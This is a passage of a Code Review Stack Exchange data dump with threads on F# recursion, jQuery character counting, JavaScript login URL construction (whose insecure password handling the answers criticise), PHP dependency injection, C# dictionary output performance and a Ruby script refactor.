"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:16:10.790",
"Id": "16611",
"Score": "0",
"body": "I couldn't tell you how large `n` could potentially be but when I looked at the IL produced by the F# compiler I think `iter` is vulnerable to a stack overflow for large values of `n`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:25:33.510",
"Id": "16613",
"Score": "0",
"body": "`loop` could return `weightA, weightB` instead of calling `iter`. `iter` would tail-call itself with those values."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T21:39:22.060",
"Id": "16620",
"Score": "0",
"body": "oww, nice! I understand a little better the functional programming mindset now, thank you"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:26:02.787",
"Id": "10415",
"ParentId": "10406",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "10415",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T15:54:49.687",
"Id": "10406",
"Score": "3",
"Tags": [
"functional-programming",
"f#",
"neural-network"
],
"Title": "Basic neural network"
}
|
10406
|
<p>How would you improve and shorten this small piece of code? It basically update a <code>textarea</code> label with the number of characters inside the field itself. It saves the original label and restores it when characters count is <code>0</code>.</p>
<p>jsFiddle <a href="http://jsfiddle.net/274gy/1/" rel="nofollow">here</a> while <code>sprintf</code> is from <a href="http://www.diveintojavascript.com/projects/javascript-sprintf" rel="nofollow">here</a>.</p>
<pre><code>$('#send_sms_content').keyup(function() {
// The label and characters count of textarea
var label = $(sprintf('label[for="%s"]', $(this).attr('id'))),
count = $(this).val().length;
// Make backup of label original html into "data-original-value" attribute
if($.type(label.attr('data-original-value')) === 'undefined') {
label.attr('data-original-value', label.html());
}
// When empty textarea then restore the orignal label
if(count == 0) {
label.html(label.attr('data-original-value'));
return;
}
// Regular expression to match any digit in the label
var digit = new RegExp("[0-9]+")
// If there are no digits in the label append the count
if(!digit.test(label.html())) {
label.html(label.html() + ' ' + sprintf('(%s)', count));
}
else { // There are digits already, replace with the new count
label.html(label.html().replace(digit, count));
}
});
</code></pre>
|
[] |
[
{
"body": "<p>Just a few things I notice, prolly not warranting a \"mark as answer\" but may help:</p>\n\n<ol>\n<li>Cache <code>$(this)</code>: <code>var $this = $(this);</code> So that you don't keep inefficiently re-wrapping <code>this</code></li>\n<li><code>$(this).attr('id')</code> - really? You can just use <code>this.id</code>, you know. </li>\n<li><code>hasDigit === digit</code>, so why do you have both? Scrap one of those regexes, the other one is redundant. </li>\n<li>Cache <code>label.html()</code> so that you don't keep grabbing it (which is quite inefficient). Instead: <code>var labelHtml = label.html()</code> and then reuse <code>labelHtml</code></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T16:10:08.980",
"Id": "16596",
"Score": "0",
"body": "First thank you. I dint' know the thing of `$this.id` and `hasDigit` is a typo. I'll do as you suggested!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T16:07:17.133",
"Id": "10409",
"ParentId": "10407",
"Score": "4"
}
},
{
"body": "<p>You should consider using the <code>.data()</code> method of jQuery instead of <code>.attr()</code>. Also this:</p>\n\n<blockquote>\n<pre><code>if($.type(label.attr('data-original-value')) === 'undefined') { // Label html backup\n label.attr('data-original-value', label.html());\n}\n</code></pre>\n</blockquote>\n\n<p>is unnecessarily complicated. It could be simplified to</p>\n\n<pre><code>if (!label.data('original-value')) {\n label.data('original-value', label.html());\n}\n</code></pre>\n\n<hr>\n\n<p>You could simplify everything even more, if you would add an additional element to your label to use as output, so you don't need to replace and parse the label text.</p>\n\n<pre><code><label for=\"send_sms_content\">My Label<output></output></label>\n<textarea id=\"send_sms_content\"></textarea>\n\n$('#send_sms_content').keyup(function() {\n\n var output = $(sprintf('label[for=\"%s\"] output', this.id)),\n count = $(this).val().length;\n\n if (count = 0) {\n output.empty();\n } else {\n output.text(sprintf(' (%s)', count));\n }\n}\n</code></pre>\n\n<hr>\n\n<p>Finally you can generalize this by setting an attribute on the output element to refer to the element you're are counting the length of:</p>\n\n<pre><code><label for=\"send_sms_content\">My Label<output data-count-selector=\"#send_sms_content\"></output></label>\n<textarea id=\"send_sms_content\"></textarea>\n\n$('[data-count-selector]').each(function () {\n var output = $(this);\n\n // .on() is the preferred way to set event handlers in jQuery 1.7\n // Listen to more events for more flexibility\n $($(this).data('count-selector')).on('keyup change click', function() {\n var count = $(this).val().length;\n\n if (count = 0) {\n output.empty();\n } else {\n output.text(sprintf(' (%s)', count));\n }\n });\n});\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T13:53:00.687",
"Id": "16707",
"Score": "0",
"body": "Good answer. Unfortunately it's not so simple to add `<output>` to label element (i'm using Twig template engine). And AFAIK `<output>` isn't supported in IE, am i right?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T13:58:27.683",
"Id": "16708",
"Score": "0",
"body": "`output` is HTML5, which IE doesn't support unless you use a shim script such as [html5shim](https://code.google.com/p/html5shim/). Or you can just use any other element such as a `span`. I'm currently using Twig too, and it should be no problem adding an element to labels in specific case."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T12:50:52.853",
"Id": "10488",
"ParentId": "10407",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10409",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T15:57:23.787",
"Id": "10407",
"Score": "3",
"Tags": [
"javascript",
"jquery"
],
"Title": "Updating a textarea label with the number of characters inside the field itself"
}
|
10407
|
<p>Is this bad coding? Is it OK to use 'OR' to specify argument alternatives?</p>
<pre><code> // This function will throw an error if it has no arguements and local stroage is not available
var buildLoginUrl = function(username, password, account)
{
var user = username || localStorage.getItem("username"),
pass = password || localStorage.getItem("password"),
acco = account || localStorage.getItem("account");
var url = SERVER + "Login.aspx?"
+ "Account=" + acco
+ "&Name=" + user
+ "&Password=" + pass;
return url;
}
</code></pre>
<p><strong>Update</strong></p>
<p>This question is about the practicalities of using 'OR' to specify alternative arguments. <strong>NOT</strong> about the mass of security flaws associated with the Login example I provided. It was just a quick example. I would change the example in the question but it would be unfair to the answers already provided. </p>
|
[] |
[
{
"body": "<h2>DO NOT DO THIS</h2>\n<p>A minor issue is that this will not function properly if someone provides a blank string such as account = "" AND localStorage does not exist.</p>\n<p>A larger one is that you're not encoding any special characters here meaning that spaces, ampersands, question marks, etc. would be off limits even for the password. You need to use something like <a href=\"http://api.jquery.com/jQuery.param/\" rel=\"nofollow noreferrer\">jQuery.param</a> to encode properly (but see below first)</p>\n<p>A much more major issue is how you're treating passwords</p>\n<ul>\n<li>The password is in the url so anyone along the HTTP routing chain will be able to easily spoof the user.</li>\n<li>The password and the username is in the url and it is likely the user reuses their password/username combos. <em><strong>You are exposing them to having many of their other accounts stolen.</strong></em></li>\n<li>The password is stored in localStorage so anyone who sits down at the computer after your user will be able to log in as them simply by not supplying a password parameter.</li>\n<li>If you're ever routing to that url then the user's username/password is visible in their url bar for anyone who walks by.\n<ul>\n<li>If the user ever copy-pastes that url into an email they just inadvertently shared their password with the world.</li>\n</ul>\n</li>\n<li><a href=\"https://stackoverflow.com/questions/3718349/html5-localstorage-security\">Vulnerabilities in localStorage might expose your user information to attackers.</a></li>\n</ul>\n<p>A login changes system state and should therefore be a POST operation and the values should be supplied via POST parameters. It should also be done over https.</p>\n<p>You should rely on your browser to store the login data. All major browsers have some sort of automatic detection for login forms and password lockers. The standard authorization technique is that once a user logs in your return an authorization cookie that allows them to authenticate themselves to the sever for a given amount of time. You can set that time to be infinite (though it is not recommended). Whatever framework you're using (looks like asp.net?) already has built in support for this, you just need to research how to do it.</p>\n<p>While we're add it, you know about <a href=\"http://www.codinghorror.com/blog/2007/09/youre-probably-storing-passwords-incorrectly.html\" rel=\"nofollow noreferrer\">salting and hashing and not storing passwords in plain text, right</a>?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T08:12:20.887",
"Id": "16643",
"Score": "0",
"body": "Thanks for the pointers George (the password is md5 encrypted when it's sent - although I didn't show it, and stored using AES) and the username and account cannot contain any special characters or white-space at this point. The question was more to do with the way the arguements or lack of are handled. Interesting point about localStorage and public computers. The application is mainly for mobile devices - which should be personal (but very well could be shared)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T14:29:15.017",
"Id": "16660",
"Score": "0",
"body": "Also, this is for logging into a webservice"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T15:28:17.077",
"Id": "16665",
"Score": "0",
"body": "@CrimsonChin I don't think you should ever be passing your login information via GET requests, it can get stored in browser history, be intercepted and simply doesn't make sense. As or MD5 - it is listed as 'severely compromised': http://en.wikipedia.org/wiki/MD5#Security\nSecurity is hard to get right. Use what is built in: http://msdn.microsoft.com/en-us/library/ff649362.aspx"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T16:53:24.240",
"Id": "10410",
"ParentId": "10408",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10410",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T16:01:29.813",
"Id": "10408",
"Score": "-2",
"Tags": [
"javascript",
"html5"
],
"Title": "Javascript, providing arguement alternatives"
}
|
10408
|
<p>Thanks in advance for any insight. All used classes are at the top, and everything starts at the comment:</p>
<pre><code>// where the magic happens
</code></pre>
<p>In particular, I am looking for feedback on my attempt at using the factory method and dependency injection. However, I would appreciate any other feedback as well. I have a list of various questions at the bottom. </p>
<pre><code><?php
class Config {
// Class that holds config info.
// Besides PDO connection info, contains flags for testing mode, live, eCommerce-enabled, etc.
// no setters, only getters... I'm thinking of this class as a glorified associative array
protected $properties = array();
function __construct()
{
// reads app config file(s), sets various keys in $this->properties;
}
public function get($key)
{
return $this->properties[$key];
}
}
class Request {
protected $server;
protected $get;
protected $post;
function __construct(array $server, array $get, array $post)
{
$this->server = $server;
$this->get = $get;
$this->post = $post;
}
// other methods in here like getUri, isAjax,
// getRequestMethod, getPost, getGet, getAgent, getRemoteAddr
}
class Session {
function __construct()
{
// Start the session
session_start();
// Set a user ID cookie, etc
}
// other session-related setters and getters
}
class ModelFactory{
protected $className; // class to instantiate (string)
function __construct($className)
{
$this->className = $className;
}
public function build(Config $c, Request $r, Session $s)
{
$pdo = new PDO(
$c->get('dsn') ,
$c->get('pdo_user') ,
$c->get('pdo_pass'),
$c->get('pdo_options')
);
return new $this->className($pdo, $c, $r, $s);
}
}
class ControllerFactory{
public function build()
{
$c = new Config();
$r = new Request($_SERVER, $_GET, $_POST);
$s = new Session();
// Reads config file with route info, compares it to $r->getUri
// to find name of controller and action within controller.
$name = 'Controller_Example';
$action = 'action_showComments';
// Returns correct child object of Controller.
return new $name($c, $r, $s, $action);
}
}
abstract class Controller{
protected $config;
protected $request;
protected $session;
protected $action;
function __construct(Config $c, Request $r, Session $s, $action )
{
$this->config = $c;
$this->request = $r;
$this->session = $s;
$this->action = $action; // string of name of function to execute
}
protected function before() { /* some extendable code to execute before action */ }
protected function after(){ /* some extendable code to execute after action */ }
public function execute()
{
// would an output buffer be good here? eg. ob_start()
// only doing this because im not sure if $this->$this->action() would work
$method_to_execute = $this->action;
$this->before();
$this->$method_to_execute();
$this->after();
}
}
class Controller_Example extends Controller{
/**
* A function that gets list of recent comments.
*/
public function action_showComments()
{
$m_factory = new ModelFactory('Model_Comment');
$comment_model = $m_factory->build($this->config, $this->request, $this->session);
$comments = $comment_model->getComments();
$title = 'Displaying Comments';
$bid = 'comment';
include '/path/to/views/commentview.php'; // see below for commentview.php
}
}
class Model_Comment {
protected $config;
protected $request;
protected $session;
protected $pdo;
function __construct(PDO $pdo, Config $c, Request $r, Session $s, )
{
$this->config = $c;
$this->request = $c;
$this->session = $c;
$this->pdo = $pdo;
}
public function getComments()
{
// uses $this->pdo to query database, returns an array of comments
// may or may not use request, session, or config objects
return array('This is a comment', 'So is this', 'And this is too!');
}
}
// where the magic happens
$factory = new ControllerFactory();
$controller = $factory->build();
$controller->execute();
?>
<!-- commentview.php -->
<!DOCTYPE html>
<head>
<title><?php echo $title ?></title>
</head>
<body id="<?php echo $bid ?>">
<ul>
<?php
foreach ($comments as $comment) {
echo '<li>'.$comment.'</li>';
}
?>
</ul>
</body>
<!-- end commentview.php -->
</code></pre>
<p>Questions:</p>
<ol>
<li><p>Does <code>$this->$this->action()</code> work correctly if <code>$this->action</code> is a string which is the name of a method in the same class (see <code>Controller::execute()</code>) ?</p></li>
<li><p>If not every model needs the config, request, and session objects, does <code>ModelFactory::build()</code> violate the law of demeter? How can I avoid this problem?</p></li>
<li><p>As a corollary, is there a way I can make the parameters for <code>Factory::build()</code> variable
in order to have an abstract class or interface for all factories? Example:</p>
<pre><code>abstract class Factory{ abstract function build({variable params}) }
</code></pre></li>
<li><p>Won't having <code>new</code> operators for factories in places like <code>Controller_Example::action_showComments()</code> defeat the purpose of DI making code more testable?</p></li>
<li><p>How could I approach templating html pages in this app?</p></li>
<li><p>What are some advantages for using <code>ob_start()</code> in a situation like <code>Controller::execute()</code>?</p></li>
</ol>
|
[] |
[
{
"body": "<h2>1. $this->$this->action()</h2>\n\n<p>You could do this with $this->{$this->action}(). The braces are important for the precedence. PHP wants to break up $this->this->action() first into $this->$this (using the second $this as a string to get the property from the first $this) and then call the action method with that property.</p>\n\n<h2>2. LoD vs LSP</h2>\n\n<p>I don't think it is exactly the <a href=\"http://en.wikipedia.org/wiki/Law_of_Demeter\" rel=\"nofollow noreferrer\">Law of Demeter</a> that is broken. I think it might be the <a href=\"http://en.wikipedia.org/wiki/Liskov_substitution_principle\" rel=\"nofollow noreferrer\">Liskov Substitution Principle</a>.</p>\n\n<h2>3. Factory::build</h2>\n\n<p>Yes. There are three situations:</p>\n\n<pre><code>// No parameters\nreturn new $className;\n\n// One parameter\nreturn new $className($param);\n\n// Multiple parameters\n$object = new \\ReflectionClass($className);\nreturn $object->newInstanceArgs($params);\n</code></pre>\n\n<h2>4. Testing with <code>new</code></h2>\n\n<p>See this for <a href=\"https://stackoverflow.com/a/7763207/567663\">testing with new</a>.</p>\n\n<h2>5. Templating</h2>\n\n<p>Personally I use plain PHP.</p>\n\n<h2>6. ob_start</h2>\n\n<p>The advantage of buffered output is that nothing is sent until you want it to be. This is important when you may want to set response headers (which must be the first output that is sent).</p>\n\n<h2>Config</h2>\n\n<p><code>// I'm thinking of this class as a glorified associative array</code></p>\n\n<p>This is a great place to implement ArrayAccess. You can then access your config settings with:</p>\n\n<p><code>$config['pdo_user'] // I prefer $config over $c</code></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T06:11:59.207",
"Id": "16639",
"Score": "0",
"body": "Really appreciate the response! Accepted for answering most of my questions (and the most pressing ones at that). Any other insight you have time for would be greatly appreciated as well."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T14:00:46.250",
"Id": "16709",
"Score": "0",
"body": "I've added 2, 5 and 6 now. I'm glad 1, 3, 4 was helpful."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T15:40:00.447",
"Id": "16713",
"Score": "0",
"body": "awesome, this has helped me out a lot. Cheers!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T16:02:30.647",
"Id": "16825",
"Score": "0",
"body": "Quick question... what does the backslash in `new \\ReflectionClass` do?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T23:33:40.513",
"Id": "16838",
"Score": "0",
"body": "That was just from copy & paste. It is used with namespaces to refer to the global scope. In code with no namespacing there should be no difference with or without it."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T05:16:40.357",
"Id": "16907",
"Score": "0",
"body": "Got it. BTW I saw your question on chat and yes, I did implement that arrayaccess interface you recommended here. It's working out very well so far!"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T01:59:36.167",
"Id": "10423",
"ParentId": "10412",
"Score": "1"
}
},
{
"body": "<p><strong>2. LoD, 3. variable params and 4. DI</strong></p>\n\n<p>I wouldn't create these model factories at all. Why? Bacause the model classes (I would name them Repositories) can be created automatically by Dependency Injection Container. Repositories can have really different dependecies: DB connection, memcache instance, etc. I don't think repositories should know about request or session (if it's not CommentSessionRepository).</p>\n\n<p>So you can then just write something like this:</p>\n\n<pre><code>class Controller_Example extends Controller{\n\n private $repo;\n\n public function __construct(CommentRepository $repo)\n {\n $this->repo = $repo;\n }\n\n public function action_showComments()\n {\n $comments = $this->repo->getComments();\n $title = 'Displaying Comments';\n $bid = 'comment';\n include '/path/to/views/commentview.php'; // see below for commentview.php\n }\n}\n</code></pre>\n\n<p>And one little note: It's always better when repositories return objects (entities) not arrays. You are then sure what do you work with.</p>\n\n<p><strong>5. templating</strong></p>\n\n<p>The best templating system I have ever seen in PHP is in Nette framework: <a href=\"http://nette.org\" rel=\"nofollow\">http://nette.org</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-10T16:28:00.763",
"Id": "10754",
"ParentId": "10412",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10423",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T18:30:15.693",
"Id": "10412",
"Score": "4",
"Tags": [
"php",
"dependency-injection"
],
"Title": "Working with dependency injection and factories"
}
|
10412
|
<hr>
<p>Finished
Someone helped me see that i was framenting the output by writing to each file inside
the for loop instead i needed to have one big for loop for each file so that the harddrive
didnt have to move its head everytime</p>
<p><a href="https://stackoverflow.com/questions/9913788/outputing-dictionary-optimally">https://stackoverflow.com/questions/9913788/outputing-dictionary-optimally</a></p>
<hr>
<p>I have 4 <code>Dictionary</code>s that contain 800k strings with 200 to 6000 characters.
when i load it into memory it takes up about 11 gigs of memory.
it is taking me 2 minutes to parse the data and 2 minutes to output the data.
Is there anyway to output the data faster than what I am using below?
I am only getting 20-31 MB per second disk IO and I know the hard drive can do 800ish</p>
<pre><code>var hash1 = new Dictionary<int, Dictionary<string, string>>(f.Count + 2);
var hash2 = new Dictionary<int, Dictionary<string, string>>(f.Count + 2);
var hash3 = new Dictionary<int, Dictionary<string, string>>(f.Count + 2);
var hash4 = new Dictionary<int, Dictionary<string, string>>(f.Count + 2);
...
foreach (var me in mswithfilenames)
{
filename = me.Key.ToString();
string filenamef = filename + "index1";
string filenameq = filename + "index2";
string filenamefq = filename + "index3";
string filenameqq = filename + "index4";
StreamWriter sw = File.AppendText(filenamef);
StreamWriter sw2 = File.AppendText(filenameq);
StreamWriter swq = File.AppendText(filenamefq);
StreamWriter sw2q = File.AppendText(filenameqq);
for (i = 0; i <= totalinhash; i++)
{
if (hashs1[i].ContainsKey(filenamef))
{
sw.Write(hashs1[i][filenamef]);
}
if (hashs2[i].ContainsKey(filenameq))
{
sw2.Write(hashs2[i][filenameq]);
}
if (hashs3[i].ContainsKey(filenamefastaq))
{
swq.Write(hash4[i][filenamefastaq]);
}
if (hash4[i].ContainsKey(filenameqq))
{
sw2q.Write(hash4[i][filenameqq]);
}
}
sw.Close();
sw2.Close();
sw3.Close();
sw4.Close();
swq.Close();
sw2q.Close();
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:23:22.397",
"Id": "16603",
"Score": "2",
"body": "Have you profiled your code? What is the bottleneck, writing to the disk or checking the hash tables?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:49:59.610",
"Id": "16604",
"Score": "0",
"body": "Can you use a database here???"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:59:00.190",
"Id": "16606",
"Score": "0",
"body": "yes i have profiled my code the bottleneck seems to be poor disk io"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:59:27.317",
"Id": "16607",
"Score": "0",
"body": "@Leonid what do you mean: \"can you use a database here\"?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:28:22.593",
"Id": "16614",
"Score": "0",
"body": "@caseyr547, you are working with a lot of data here. How are you using it? Databases are pretty good at storing, manipulating and retrieving data. Depending on what you are doing, a database could help."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:38:12.200",
"Id": "16617",
"Score": "0",
"body": "@Leonid i'm using lots and lots of text files...not really the most optimal way of doing it but thats not up to me :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T22:05:49.027",
"Id": "16621",
"Score": "0",
"body": "If the disk IO is the bottleneck, there's not much you can do. One think that comes to mind would by storing byte arrays instead of strings, but I think you can't do much else. Maybe buy a SSD?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T02:22:54.810",
"Id": "16687",
"Score": "0",
"body": "caseyr547, please submit your own answer with the link you provided above and accept it as the answer. Otherwise, it looks as if this question is still open even though it isn't."
}
] |
[
{
"body": "<p>One way to speed up the lookups is to use <a href=\"http://msdn.microsoft.com/en-us/library/bb347013.aspx\" rel=\"nofollow\"><code>TryGetValue()</code></a> instead of <code>ContainsKey()</code> and then the indexer. So, for example:</p>\n\n<pre><code>if (hashs1[i].ContainsKey(filenamef))\n{\n sw.Write(hashs1[i][filenamef]);\n}\n</code></pre>\n\n<p>would become:</p>\n\n<pre><code>string value;\nif (hashs1[i].TryGetValue(filenamef, out value))\n{\n sw.Write(value);\n}\n</code></pre>\n\n<p>But it's hard to tell how much would that help you.</p>\n\n<p>Another thing that might help you would be combining all the hashes into one that contains object that contains all the inner hashes. Something like:</p>\n\n<pre><code>class Hashes // or struct?\n{\n public Dictionary<string, string> hash1 { get; set; }\n public Dictionary<string, string> hash2 { get; set; }\n public Dictionary<string, string> hash3 { get; set; }\n public Dictionary<string, string> hash4 { get; set; }\n}\n\n…\n\nvar mainHash = new Dictionary<int, Hashes>(f.Count + 2);\n</code></pre>\n\n<p>Combining the two approaches lowers the number of potential lookups per iteration from 16 to 5.</p>\n\n<p>Also, unrelated to performance, but you should name your variables by their contents, not implementation. I think <code>hash1</code> is a very bad name.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:57:56.070",
"Id": "16605",
"Score": "0",
"body": "yes i tried trygetvalue from a post in http://stackoverflow.com/questions/9913788/outputing-dictionary-optimally but there was no change in performance."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:00:03.447",
"Id": "16608",
"Score": "0",
"body": "also i do agree hash1 is a terrible name but i had to change it to post it online :D"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:28:57.430",
"Id": "10416",
"ParentId": "10413",
"Score": "2"
}
},
{
"body": "<p>Without more context, I can't really be sure any of my advice is applicable, but, here's a shot:</p>\n\n<p>First off, consider: can you output during the parsing phase? If <code>i</code> only increases during the parse, at least for a given <code>filename</code>, and as soon as you would store it into <code>hashX[i][filenameX]</code> you know that it will be output there: you might as well just write it. This would cut down the number of key look-ups to 0, as well as reduce the amount of memory you're allocating during the parse (assuming you don't use the hashes for anything else later). If that doesn't apply...</p>\n\n<p>Secondly, consider flipping the first- and second-level keys, e.g.:</p>\n\n<pre><code>var hash1 = new Dictionary<string, Dictionary<int, string>>(f.Count + 2);\n...\nvar hash1_for_filenamef = hash1[filenamef];\nfor (var i = 0; i < totalinhash; i++) {\n string value;\n if (hash1_for_filenamef.TryGetValue(i, out value))\n sw.Write(value);\n}\n</code></pre>\n\n<p>If you can do this, you might also get a bit more out of it under the special circumstance that the TryGetValue would be returning false a large percentage of the time, by not doing any key look-ups for the second level at all, but rather sorting the list directly:</p>\n\n<pre><code>var hash1 = new Dictionary<string, Dictionary<int, string>>(f.Count + 2);\n...\nvar sorted_hash1_for_filenamef = hash1[filenamef]\n .Where(pair => pair.Key <= totalinhash) // compatibility with your code -- maybe totalinhash is guaranteed >= i? If so, remove this\n .OrderBy(pair => pair.Key);\nforeach (var pair in sorted_hash1_for_filenamef)\n sw.Write(pair.Value);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T19:04:38.773",
"Id": "16680",
"Score": "0",
"body": "thanks for the advice the problem with outputing the files durring the parsing is that the files are random so i dont know which file will be written to next making the disk out very slow as the head of the hard drive has to move back and forther constantly between any of 4 files...i'd really like to ouput it but i dont know any way to do nonblocking io"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T07:12:38.667",
"Id": "10428",
"ParentId": "10413",
"Score": "0"
}
},
{
"body": "<p>I addition to recommended by other members I would also:</p>\n\n<p>1) Replace</p>\n\n<pre><code>var hashN = new Dictionary<int, Dictionary<string, string>>(f.Count + 2);\n</code></pre>\n\n<p>with</p>\n\n<pre><code>var hashN = new Dictionary<string, string>[f.Count + 2];\n</code></pre>\n\n<p>since it seems that all the integer keys from 0 to <em>totalinhash</em> are always present in dictionary.</p>\n\n<p>2) Try buffering output using <em>BufferedStream</em> or maybe even <em>StringBuilder</em> to write in larger chunks.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T11:02:52.903",
"Id": "10437",
"ParentId": "10413",
"Score": "0"
}
},
{
"body": "<p>Finished Someone helped me see that i was framenting the output by writing to each file inside the for loop instead i needed to have one big for loop for each file so that the harddrive didnt have to move its head everytime</p>\n\n<p><a href=\"https://stackoverflow.com/questions/9913788/outputing-dictionary-optimally\">https://stackoverflow.com/questions/9913788/outputing-dictionary-optimally</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T14:31:05.263",
"Id": "10457",
"ParentId": "10413",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10457",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T18:57:41.420",
"Id": "10413",
"Score": "1",
"Tags": [
"c#",
"performance"
],
"Title": "Optimal way to output a dictionary"
}
|
10413
|
<p>I wrote a script that I decided to refactor so I could add functionality to it as my coworkers think of it. I only saved four lines in the effort, but the main change is I removed both methods and reduced the number of called variables in favor of string interpolation/manipulation. Is there a preference for this? Is it better to declare a new variable just to use once, or is it more DRY to just make minor tweaks to the string when you need to use it? For example here is the original code:</p>
<pre><code>$EMBED_HTML = ""
$BASE_URL = ""
$SAMPLE_FLV = ""
def normalize_directory(dir)
normalized = dir.gsub('\\', '/')
normalized += '/' unless normalized[-1] == '/'
end
def validate_directory(dir)
puts "Enter the full directory path of the flv files." unless dir
dir = dir || gets.chomp
dir = normalize_directory(dir)
until File.directory?(dir) && Dir.glob("#{dir}*.flv") != []
puts "That directory either doesn't exist or contains no .flv files. \nEnter the full directory path of the flv files."
dir = $stdin.gets.chomp
dir = normalize_directory(dir)
end
dir
end
def output_html_wrapper(flv_filename, output_folder)
html_filename = flv_filename.gsub(".flv", ".html")
html_body = $EMBED_HTML.gsub($SAMPLE_FLV, flv_filename.sub(/[a-z][:]/, ''))
html_output = File.open(html_filename, "w")
html_output.write(html_body)
html_output.close
link = flv_filename.sub(/[a-z][:]/, '').gsub(".flv", ".html")
link_list = File.open("#{output_folder}List of Links.txt", "a")
link_list.write($BASE_URL + link + "\n")
link_list.close
puts "#{html_filename} created successfully." if File.exists?(html_filename)
end
folder = ARGV[0].dup unless ARGV.empty?
folder = validate_directory(folder)
flvs = Dir.glob("#{folder}*.flv")
File.delete("#{folder}List of Links.txt") if File.exists?("#{folder}List of Links.txt")
flvs.each { |flv| output_html_wrapper(flv, folder) }
</code></pre>
<p>And the new stuff:</p>
<pre><code>flash_folder = ARGV[0].dup unless ARGV.empty?
if !flash_folder
puts "Enter the full directory path of the flv files."
flash_folder = gets.chomp
end
flash_folder.gsub!('\\', '/')
flash_folder += '/' unless flash_folder[-1..-1] == '/'
until File.directory?(flash_folder) && Dir.glob("#{flash_folder}*.flv") != []
puts "That directory either doesn't exist or contains no .flv files. \nEnter the full directory path of the flv files."
flash_folder = $stdin.gets.chomp
flash_folder.gsub!('\\', '/')
flash_folder += '/' unless flash_folder[-1..-1] == '/'
end
flash_files = Dir.glob("#{flash_folder}*.flv")
File.delete("#{flash_folder}List of Links.txt") if File.exists?("#{flash_folder}List of Links.txt")
flash_files.each do |flv|
html_output = File.open("#{flv.gsub(".flv", ".html")}", "w")
html_output.write("#{embed_code.gsub("sample.flv", flv.slice(7..flv.length))}")
html_output.close
link_list = File.open("#{flash_folder}List of Links.txt", "a")
link_list.write("#{flash_url}#{flv.slice(2..flv.length).gsub(".flv", ".html")}\n")
link_list.close
end
puts "Finished."
</code></pre>
|
[] |
[
{
